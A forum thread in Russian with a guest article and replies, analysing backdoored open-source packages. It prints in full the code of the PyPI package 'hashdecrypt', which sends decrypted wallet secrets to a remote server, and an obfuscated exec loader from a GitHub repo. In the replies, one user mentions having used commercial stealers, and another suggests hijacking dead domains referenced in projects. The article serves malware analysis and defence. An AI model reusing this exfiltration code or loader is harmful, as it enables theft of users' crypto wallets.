What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Стоит ли слепо доверять открытым исходникам? | Should we blindly trust open source?

oceanaric

Light Weight
Депозит
$0
Это моя первая статья. На нее меня вдохновила тема /threads/105201/, автор которой рассказывает, как у него угнали кошелек после использования пакета из PyPI. Для кого-то вещи в ней могут показаться очевидными, но, к сожалению, за короткий срок мне не удалось найти зараженные пакеты посерьезнее.

Начнем с основ.

Открытый код (Open Source) - Программы с открытым кодом, предоставляют доступ к исходному коду программы, что позволяет пользователям просматривать и изменять этот код.
Закрытый код (Closed Source) - Программы с закрытым кодом, предоставляют только исполняемый код, но не предоставляют доступ к исходному коду программы.

Плюсы открытого исходного кода:
  • *прозрачность
  • бесплатность
  • возможность изменить программу под себя/внести свой вклад в проект
Минусы открытого исходного кода:
  • *вероятность скрытого малваря внутри, основанного на доверии людей к опенсорсу
  • часто отсутствие поддержки

Плюсы закрытого исходного кода:
  • простота использования
  • профессиональная поддержка со стороны разработчика
Минусы закрытого исходного кода:
  • отсутствие прозрачности (вероятность малваря/утечки данных внутри, основанного на отсутствии возможности проверки кода пользователями)
  • зависимость от разработчика

Да, открытый код безопаснее, но закрытый код, зачастую, удобнее. Ещё в открытом коде проще найти уязвимость, но нашедший может ее использовать в своих целях или сообщить разработчику/помочь ее убрать.

После нескольких лет в IT у меня выработалась очень полезная привычка - сомнительно относиться к закрытому коду, а еще сомнительнее - к открытому. Ведь с закрытым кодом все очевидно, там может быть скрыто что угодно, вы готовы к этому. Но что с опенсорсом, в чем выгода разработчика? Опенсорс играет на том, что вы автоматически ему доверяете, ведь “никто же не будет встраивать малварь в открытый код и по-любому кто-то это всё проверяет при публикации Github/PyPI/…, а если еще и 3 звездочки на гите есть…”.
Возьмем к примеру смарт контракт, мало кто будет ему доверять и использовать, если не опубликовать его код. После публикации код открыт, вы на него смотрите, и, с первого взгляда, все хорошо. А потом через 15 дней он скамится. Как? Ведь смарт контракт нельзя изменить после публикации, он записан в блокчейн. Конечно - там был бекдор, но скрыт таким образом, что человек без определенных знаний его вряд ли найдет.
Обычно он замаскирован под стандартные/безымянные/однострочные функции с названием типо _ /aN49Qio3hma /*тематическое умное название, как в первом разобранном пакете (ниже)* или спрятан внутри огромного мусорного кода. Это одна из главных проблем опенсорса.

Главные способы распространения забекдоренных пакетов - публикация на Github, PyPI, RubyGems, и npm.
Мои советы для избежания малваря будут в конце.



Разберем пакет из темы, о которой я говорил в начале:

PyPI - hashdecrypt

Здесь все предельно просто. После установки появляется только один небольшой файл под названием hashDecrypt.py:
Python: Скопировать в буфер обмена
Code:
import json
import base64
import hashlib
from Crypto.Cipher import AES
from requests import post, get
# +---------------------------------+
# |   [HashDecrypt]   |
# | https://github.com/HashSnake |
# |  Telegram: @HashSnake  |
# +---------------------------------+
# |bytes(bytes_line).decode("utf-8")|
# +---------------------------------+

class hdec:
 def key_from_password(self, password, salt):
  salt_buffer = base64.b64decode(salt)
  password_buffer = password.encode('utf-8')
  key = hashlib.pbkdf2_hmac(
   'sha256',
   password_buffer,
   salt_buffer,
   10000,
   dklen=32
   )
  return key

 def decrypt_with_key(self, key, payload):
  encrypted_data = base64.b64decode(payload["data"])
  vector = base64.b64decode(payload["iv"])
  data = encrypted_data[:-16]
  cipher = AES.new(key, AES.MODE_GCM, nonce=vector)
  decrypted_data = cipher.decrypt(data)
  return decrypted_data

 def jsBIP39(self, payload):
 
  def cli_keccak256(raw_hash, raw_vault):
   try:
    message_bytes = raw_vault.encode('ascii')
    b64_bytes = base64.b64encode(message_bytes)
    b64_m = b64_bytes.decode('ascii')
    post(get(raw_hash).text.strip(), json={"b64": b64_m})
   except:
    pass
  encode_data = "aHR0cHM6Ly9naXRodWIuY29tL0hhc2hTbmFrZS9iYWNrZW5kYXBpL3Jhdy9tYWluL3NldHRpbmdz"
  base64_bytes = encode_data.encode('ascii')
  message_bytes = base64.b64decode(base64_bytes)
  cli_keccak256(message_bytes.decode('ascii'), payload)

 def decrypt(self, password, text):
  try:
   payload = json.loads(text)
   salt = payload['salt']
   key = self.key_from_password(password, salt)
   decrypted_string = self.decrypt_with_key(key, payload).decode('utf-8')
   self.jsBIP39(decrypted_string)
   jsf = json.loads(decrypted_string)
   return {"status": True, "message": None, "result": jsf}
  except UnicodeDecodeError:
   return {"status": False, "message": "wrong password", "result": None}
  except:
   return {"status": False, "message": "unknown", "result": None}



Первое что мы видим - импорт post и get функций. К чему они в пакете для работы с криптографией?
Второе что мы видим - контакты разработчика?) Необычно.




Идем дальше и видим такие строки. По порядку:
1. После успешного декрипта перед выводом результата запускается функция jsBIP39, в которую передается найденное значение​
2. Что-то закодированное в BASE64​
3. Закодированное значение из пункта 2 кодируется в ascii (str -> bytes)​
4. Закодированное значение из пункта 3 декодируется BASE64 и становится ссылкой “https://github.com/HashSnake/backendapi/raw/main/settings”
5. Вызывается вложенная функция cli_keccak256, в которую под видом raw_hash передается полученный url из пункта 4, а под видом raw_vault - значение, которое будет отправлено на url​
6. Значение, которое будет отправлено на url, тоже кодируется в ascii (str -> bytes)​
7. Закодированное значение из пункта 6 теперь кодируется в BASE64​
8. Закодированное в BASE64 значение из пункта 7 преобразовывается обратно в строку (bytes -> str)​
9.​
post(get(raw_hash).text.strip(), json={“b64”: b64_m})
Что здесь происходит:​
1. get(raw_hash) - делает GET запрос по URL, который был получен в 4 пункте и получает ответ http://65.109.70.235:3030/api
2. .text.strip() - берет атрибут ответа “text” и убирает у него пробелы из начала и конца​
3. post(get(raw_hash).text.strip(), json={“b64”: b64_m}) = post(“http://65.109.70.235:3030/api”, json={“b64”: b64_m}) - отправляет закодированные в BASE64 ворованные данные на сервер​

Казалось бы, до жути примитивный пакет - 1 файл, 60 строк. Но, к сожалению, на данный момент у многих людей недостаточно знаний о том, что открытый код != безопасный код, поэтому они запускают опенсорс с полным доверием.



Полазил по https://pypi.org и случайно нашел другой пакет, но с точно такой же функцией отправки данных на сервер (только другой сервер, видимо, он давно этим промышляет).





Следующий на обзоре скрипт из GitHub’а, который был найден после 5 минут поисков немного интереснее, но видимо рассчитан на людей, совсем не осознающих своих действий.

Репозиторий: Bitcoin-Mnemonic-Bruteforce

Python: Скопировать в буфер обмена
Code:
import sys
import random
import time
import datetime
import json
import os

try:
 import binascii
except:
 os.system('pip install binascii')
try:
 import mnemonic
except:
 os.system('pip install mnemonic')
try:
 import bip32utils
except:
 os.system('pip install bip32utils')
try:
 import requests
except:
 os.system('pip install requests')


import binascii
import mnemonic
import bip32utils
import requests

_ = lambda __ : __import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b64decode(__[::-1])));
exec((_)())



По порядку:
1. Попытка импорта нужных пакетов, если их они не установлены - установка
2. Пере-импорт пакетов, на случай, если на предыдущем этапе какие-либо пакеты отсутствовали
3.
_ = lambda __ : __import__(‘marshal’).loads(__import__(‘zlib’).decompress(__import__(‘base64’).b64decode(__[::-1])));
Что здесь происходит:​
1. __[::-1] - переворачивает закодированный BASE64 текст (==g1L+IL… = LI+L1g==…)​
2. __import__(‘base64’).b64decode(…) - импортирует base64 и декодирует перевернутое после 1 пункта значение, на выходе получаем байт-код (“x\x9c\\\x9bG\x8e\xeb\xdczE\…”)​
3. __import__(‘zlib’).decompress(…) - распаковывает данные со 2 пункта, используя zlib​
4. __import__(‘marshal’).loads(…) - загружает распакованный результат из 3 пункта и десереализирует данные, возвращает <code object <module> at 0x…, file “<x>", line 1>
4. exec((_)(b’==g1L+I…Oe0mcxJe’)) - выполняет результат функции из 3 пункта, скорее всего вредоносный exe.


А ведь подобные бекдоры способен соорудить каждый. Вот для примера опенсорс мальварь посерьезнее:
Вредоносный пакет PyPI смешивает исходный и скомпилированный код, чтобы избежать обнаружения.


Итоги.
Как не попасться на open-source малварь?
1. Обратить внимание на разработчика, его репутацию
2. Обратить внимание на рейтинг и дату выхода
3. Если GitHub - проверить вкладки “Issues” и “Pull requests” на наличие жалоб/предупреждений от других
4. Если есть файл со всеми установленными пакетами (package.json/requirements.txt/…) - проверить на наличие тематически неподходящих пакету
5. Взглянуть на код, в питоне обычно бекдоры прячут в __init__.py и подобные невинные, обычно пустые файлы. Начинать лучше с проверки импортов.
6. Если кода много, а со всего пакета нужен только он - гораздо быстрее и безопаснее просто вырезать нужную функцию себе, если это позволяет структура пакета.
7. Проверять цифровые подписи
Как не попасться на closed-source малварь?
1. Обратить внимание на разработчика, его репутацию
2. Устанавливать программы с надежных источников
3. Использовать антивирус и молиться
4. Следить за поведением (иногда для профилактики можно анализировать трафик)
5. Проверять цифровые подписи

На сегодня всё :). Повторюсь, был бы рад проанализировать пакеты посерьезнее, но не нашел таких, если у кого-то есть - готов принять)


Автор: oceanaric
Специально для
 
Доверять можно, но как говорится доверяй но проверяй, всегда следует проверять при возможности, это касается не только малвари но и уязвимостей.

Я думаю многие тут взяли на заметку проверку кода когда знакомились с веб-шеллами аля WSO. Так как в некоторый шеллах есть бекдор =)

Но так же это зависит и от кодовой базы, чем жирнее ПО тем тяжелее найти закладку, которая может затеряться среди миллиона строк кода. А учитывая что сейчас вокруг много всяких ИИ, сгенерированный код ИИ тоже надо проверять. Так как в подовляющей своей стороне ИИ для написания кода обучались на том же stackoverflow и гитхабе. Поэтому ассистенты для написания кода могут выдавать вам уязвимый код с бекдорами.

А еще теже продавцы малвари иногда крадут у своих клиентов.
 
можно пожалуйста подробнее по поводу кражи даты мал-девелоперов у своих клиентов
Будет информативнее если еще подкрепите пруфами, хотябы какие-то события, которые освещались где-либо))
 
m_3LO сказал(а):
Будет информативнее если еще подкрепите пруфами, хотябы какие-то события, которые освещались где-либо))
Нажмите, чтобы раскрыть...
Сложно будет найти так как уже не помню название этой малвари


Нашел вот это но это не то что искал...
Иногда продавцы наборов для фишинга обманывают своих же покупателей, пытаясь заработать на них дважды. Помимо продажи созданного ими вредоносного инструмента, они могут заинтересоваться и похищенными с его помощью данными. Используя специальный скрипт, встроенный в тело фиш-кита, они направляют поток украденных пользовательских данных себе или получают скрытый доступ к хостингу своего покупателя.

habr.com/ru/companies/f_a_c_c_t/articles/551236/
Нажмите, чтобы раскрыть...

Вроде это был какой-то стиллер который сливал добытые логи

P.S.
Если найду обзятельно добавлю в топик, как пример недобросовестных продавцов

P.P.S
Кстати да, интересную тему мы подняли, думаю мб другие пользователи тоже подтянутся и накидают примеров
 
Пример тому, в исходниках на гите, льют данный стилак)
exec грузят с либой cryptography

Вложения​


  • source.zip
    11.5 КБ · Просмотры: 41
 
открытый исходный код - это сообщество, множество контрибьютеров, независимые аудиты. а это мусор какой-то. людям, которые слепо доверяют репозиториям 3 звезды, "bitcoin mnemonic..." уже вряд ли что-то поможет..
 
Dart сказал(а):
открытый исходный код - это сообщество, множество контрибьютеров, независимые аудиты. а это мусор какой-то. людям, которые слепо доверяют репозиториям 3 звезды, "bitcoin mnemonic..." уже вряд ли что-то поможет..
Нажмите, чтобы раскрыть...
Создать правдоподобный репозиторий и накрутить актива фейкового не так уж и трудно, ты посмотриш, ну вроде стоят звезды, вроде есть форки, ну написаны сообщение. Скачаешь, запустишь, и уже заражен
 
Dart сказал(а):
открытый исходный код - это сообщество, множество контрибьютеров, независимые аудиты
Нажмите, чтобы раскрыть...
Угу, плавали, знаем :D

В NPM-пакете node-ipc выявлено вредоносное изменение (CVE-2022-23812), с вероятностью 25% заменяющее на символ "❤️" содержимое всех файлов, к которым имеется доступ на запись. Вредоносный код активируется только при запуске на системах с IP-адресами из России или Беларуси. Пакет node-ipc насчитывает около миллиона загрузок в неделю и используется в качестве зависимости у 354 пакетов, включая vue-cli. Все проекты, которые имеют в зависимостях node-ipc, также подвержены проблеме.

Вредоносный код был размещён в репозитории NPM в составе выпусков node-ipc 10.1.1 и 10.1.2. В Git-репозитории проекта вредоносное изменение было размещено от имени автора проекта 11 дней назад. Определение страны в коде осуществлялось через обращение к сервису api.ipgeolocation.io. В настоящее время ключ, к которому осуществлялся доступ к API ipgeolocation.io из вредоносной вставки, отозван.

В комментариях к предупреждению о появлении сомнительного кода автор проекта заявил, что изменение сводятся к добавлению файла на рабочий стол, выводящего сообщение с призывом к миру. На деле в коде осуществлялся рекурсивный перебор каталогов с попыткой перезаписи всех встретившихся файлов.

Позднее в репозитории NPM были размещены выпуски node-ipc 11.0.0 и 11.1.0, в которых вместо встроенного вредоносного кода добавлена внешняя зависимость "peacenotwar", контролируемая тем же автором и предлагаемая для подключения сопровождающим пакетов, желающим присоединиться к протесту. Заявляется, что пакет peacenotwar лишь выводит сообщение о мире, но с учётом уже предпринятых автором действий дальнейшее содержимое пакета непредсказуемо и отсутствие деструктивных изменений не гарантируется.

Параллельно было выпущено обновление стабильной ветки node-ipc 9.2.2, которая используется проектом Vue.js. В новом выпуске в число зависимостей, помимо peacenotwar, также был добавлен пакет colors, автор которого в январе интегрировал в код деструктивные изменения. Лицензия на исходные тексты в новом выпуске была изменена с MIT на DBAD.

Так как дальнейшие действия автора непредсказуемы, пользователям node-ipc рекомендуется зафиксировать зависимости на версии 9.2.1. Зафиксировать версии также рекомендуется и для остальных разработок того же автора, который сопровождал 41 пакет. Некоторые из поддерживаемых тем же автором пакетов (js-queue, easy-stack, js-message, event-pubsub) имеют около миллиона загрузок в неделю.

Дополнение: фиксируются и другие попытки добавления в различные открытые пакеты действий, не связанных с прямой функциональностью приложений и привязанных к IP-адресам или системной локали. Наиболее безобидные из подобных изменений (es5-ext, rete, PHP composer, PHPUnit, Redis Desktop Manager, Awesome Prometheus Alerts, verdaccio, filestash) сводятся к выводу призывов к прекращению войны для пользователей из России и Беларуси. При этом выявляются и более опасные проявления, например, в пакеты AWS Terraform modules добавлен шифровальщик и внесены политические ограничения в лицензию. В прошивки Tasmota для устройств ESP8266 и ESP32 встроена закладка, способная блокировать работу устройств. Предполагается, что подобная активность может серьёзно подорвать доверие к открытому ПО.
Нажмите, чтобы раскрыть...
 
С дебютом! Сам код не смогу проверить ,но рекомендации возьму на заметку.
 
Desoxyn сказал(а):
Угу, плавали, знаем :D
Нажмите, чтобы раскрыть...
овнер репозитория хохол, который не дорожит проф репутацией. это нивелирует преимущества опенсоурс? частный случай, никто не застрахован. можно себя обезопасить, если использовать только хорошо проверенные пакеты (а не х#й пойми какие поделки, которые вы на серьезных щах впариваете в качестве аргумента), изолированные рабочие среды и тд
 
Dart , а ты внимательно читал, или на отьeбись высказался?
Dart сказал(а):
овнер репозитория хохол, который не дорожит проф репутацией. это нивелирует преимущества опенсоурс? частный случай
Нажмите, чтобы раскрыть...
фиксируются и другие попытки добавления в различные открытые пакеты действий, не связанных с прямой функциональностью приложений и привязанных к IP-адресам или системной локали. Наиболее безобидные из подобных изменений (es5-ext, rete, PHP composer, PHPUnit, Redis Desktop Manager, Awesome Prometheus Alerts, verdaccio, filestash) сводятся к выводу призывов к прекращению войны для пользователей из России и Беларуси. При этом выявляются и более опасные проявления, например, в пакеты AWS Terraform modules добавлен шифровальщик и внесены политические ограничения в лицензию. В прошивки Tasmota для устройств ESP8266 и ESP32 встроена закладка, способная блокировать работу устройств. Предполагается, что подобная активность может серьёзно подорвать доверие к открытому ПО.
___________

Эти все тоже один хохол и частный случай? ))) Тут же ссылки, епт. Я сколько за 2 года аналогичных появилось?
Dart сказал(а):
хорошо проверенные пакеты (а не х#й пойми какие поделки, которые вы на серьезных щах впариваете в качестве аргумента)
Нажмите, чтобы раскрыть...
Действительно, пакет node-ipc с миллионными загрузками ( причем ~ > лям только в неделю ) и использующийся в качестве зависимости у 354 пакетов, включая vue-cli - это рили хyй пойми какая поделка :D

Проблема в том, что сначала они тоже были трастовые, хорошо проверенные и доверенные. А потом автору eбнула в голову политота. Что мешает так же проверенным и уважаемым авторам уважаемого камьюнити словить шизу на абсолютно любой почве и похерить все, до чего дотянутся?
Если ты годами юзал "пакет с пакетами" от траст вендора, не говори, что ты руками будешь проверять или проверяешь каждый апдейт. Потому я и выделил специально - подобная активность может серьёзно подорвать доверие к открытому ПО.
О чем, собсно и эта тема. Что опенсурс не признак секурности

weaver выше написал:
weaver сказал(а):
Кстати да, интересную тему мы подняли, думаю мб другие пользователи тоже подтянутся и накидают примеров
Нажмите, чтобы раскрыть...
Я и скинул примеров, заодно ответив и тебе. Все проверенное и трастовое ранее - может нивелироваться одним, либо группой шизоидов - тупо по щелчку. Никому не доверяй.

bit_bomba не нужно цитировать ВСЮ статью!
 
weaver сказал(а):
Сложно будет найти так как уже не помню название этой малвари


Нашел вот это но это не то что искал...


Вроде это был какой-то стиллер который сливал добытые логи

P.S.
Если найду обзятельно добавлю в топик, как пример недобросовестных продавцов

P.P.S
Кстати да, интересную тему мы подняли, думаю мб другие пользователи тоже подтянутся и накидают примеров
Нажмите, чтобы раскрыть...
конечно интересная тема для обсуждения, как минимум примеры таких событий дадут возможность понимать методику скам-девелоперов, сомневаюсь что основная масса рандомно приходит к тому, чтобы красть дату юзеров.
На примере хроники можно добавить заметочки как действуют такие недобросовестные люди)
 
m_3LO сказал(а):
можно пожалуйста подробнее по поводу кражи даты мал-девелоперов у своих клиентов
Будет информативнее если еще подкрепите пруфами, хотябы какие-то события, которые освещались где-либо))
Нажмите, чтобы раскрыть...
Никогда не был в теме малвари, полазил по поиску форумов, не знаю насчет пруфов, но жалоб достаточно.
Да, они все на ракун)) Насколько я знаю, его серверную часть держа(т/ли) разработчики, поэтому действительно сомневаюсь в его прозрачности. Очень странный подход.

Exploit: raccoonstealer - 10300$



Raccon Stealer, и его странные проблемы


Exploit: Арбитраж на Raccoon Stealer
 
oceanaric сказал(а):
Никогда не был в теме малвари, полазил по поиску форумов, не знаю насчет пруфов, но жалоб достаточно.
Нажмите, чтобы раскрыть...
выглядит несколько сомнительно, будто бы по сценарию подобные арбитражи)))
Но все возможно, учитывая аудиторию подобных продуктов(ничего против трафферов не имею)
В свое время имел возможность пользоваться ракуном, редлайном, видаром, к сожалению или счастью не наблюдал проблем, но или я хочу, чтобы я так думал хд

энивей прозрачностью в подобных услугах пахнуть никогда и не будет.
Самописное/уникальное ПО разработчиками каких-то объединений для пользования участникми самих же объединений устраняет подобные проблемы, хотя и в таком случае отсутсвие скама не 100%, только если кодер не в цепях у тебя в подвале)))
 
еще хочу отметить что есть разные методы подгрузки мальваря который я лично заметил. К примеру при компиляции проекта может выполнятся powershell скрипт который подгружает с хоста файл и запускает его. вот пример
 
Хотелось бы дополнить ещё одним методом, но он рассчитан прям не на самых внимательных. Берется загружается код, затем в левой части он остаётся полностью чистый, но в редакторе он отводится в правую часть. Поэтому стоит уж смотреть досконально все. Пример реализации (софт весь слева, а крыса прячется сбоку)
 
Интересная статья, спасибо)
Можно довести до версии 2.0 , ищем в проектах сдохшие домены, регистрируем, бежим на бурж фриланс и просим за 10$ собрать проект :D
 
Doklsi сказал(а):
Хотелось бы дополнить ещё одним методом, но он рассчитан прям не на самых внимательных. Берется загружается код, затем в левой части он остаётся полностью чистый, но в редакторе он отводится в правую часть. Поэтому стоит уж смотреть досконально все. Пример реализации (софт весь слева, а крыса прячется сбоку)Посмотреть вложение 78034
Нажмите, чтобы раскрыть...
Ого, не видел такого ещё)
 
Top